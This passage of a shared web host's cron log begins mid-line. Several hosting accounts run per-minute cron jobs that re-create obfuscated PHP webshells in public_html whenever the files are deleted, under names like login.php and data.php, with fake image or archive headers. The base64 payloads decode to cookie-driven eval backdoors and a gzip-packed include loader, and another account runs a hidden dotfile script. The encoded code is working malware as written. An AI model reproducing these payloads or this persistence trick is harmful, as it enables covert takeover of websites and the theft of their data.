X2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:27:01 medusa CROND[23692]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:27:01 medusa CROND[23684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:27:01 medusa CROND[23695]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:27:01 medusa CROND[23688]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 14:28:02 medusa CROND[16511]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:28:02 medusa CROND[16512]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 14:28:02 medusa CROND[16513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:28:02 medusa CROND[16515]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:28:02 medusa CROND[16514]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 14:28:02 medusa CROND[16516]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:28:02 medusa CROND[16517]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:28:02 medusa CROND[16518]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:28:02 medusa CROND[16519]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:28:02 medusa CROND[16521]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:28:02 medusa CROND[16534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:28:02 medusa CROND[16535]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:28:02 medusa CROND[16536]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:28:02 medusa CROND[16547]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:29:01 medusa CROND[8612]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:29:01 medusa CROND[8659]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 14:29:01 medusa CROND[8749]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:29:01 medusa CROND[8751]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:29:01 medusa CROND[8750]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:29:01 medusa CROND[8752]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:29:01 medusa CROND[8753]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:29:01 medusa CROND[8754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:29:01 medusa CROND[8756]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:29:01 medusa CROND[8757]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 14:29:01 medusa CROND[8759]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:29:01 medusa CROND[8763]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:29:01 medusa CROND[8755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:30:01 medusa CROND[1477]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:30:01 medusa CROND[1478]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 14:30:01 medusa CROND[1552]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 14:30:02 medusa CROND[1676]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:30:02 medusa CROND[1677]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 14:30:02 medusa CROND[1678]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 14:30:02 medusa CROND[1679]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 14:30:02 medusa CROND[1680]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 14:30:02 medusa CROND[1681]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:30:02 medusa CROND[1682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:30:02 medusa CROND[1683]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
